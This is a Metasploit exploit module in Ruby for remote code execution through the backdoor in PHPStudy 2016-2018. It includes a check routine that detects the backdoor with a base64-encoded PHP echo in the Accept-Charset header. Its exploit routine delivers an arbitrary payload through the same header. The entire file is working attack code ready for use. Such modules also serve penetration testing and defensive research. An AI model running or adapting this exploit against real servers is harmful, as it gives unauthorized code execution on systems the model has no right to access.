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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "PHPStudy Backdoor Remote Code execution",  
'Description' => %q{  
This module can detect and exploit the backdoor of PHPStudy.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Dimensional', #POC  
'Airevan' #Metasploit Module  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['PHPStudy 2016-2018', {}]  
],  
'References' =>  
[  
['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']  
],  
'Privileged' => false,  
'DisclosureDate' => "Sep 20 2019",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path', '/'])  
])  
end  
def check  
uri = target_uri.path  
fingerprint = Rex::Text.rand_text_alpha(8)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php'),  
'headers' => {  
'Accept-Encoding' => 'gzip,deflate',  
'Accept-Charset' => Rex::Text.encode_base64("echo '#{fingerprint}';")  
}  
})  
  
if res && res.code == 200 && res.body.to_s.include?(fingerprint)  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
def exploit  
uri = target_uri.path  
print_good("Sending shellcode")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php'),  
'headers' => {  
'Accept-Encoding' => 'gzip,deflate',  
'Accept-Charset' => Rex::Text.encode_base64(payload.encoded)  
}  
})  
end  
end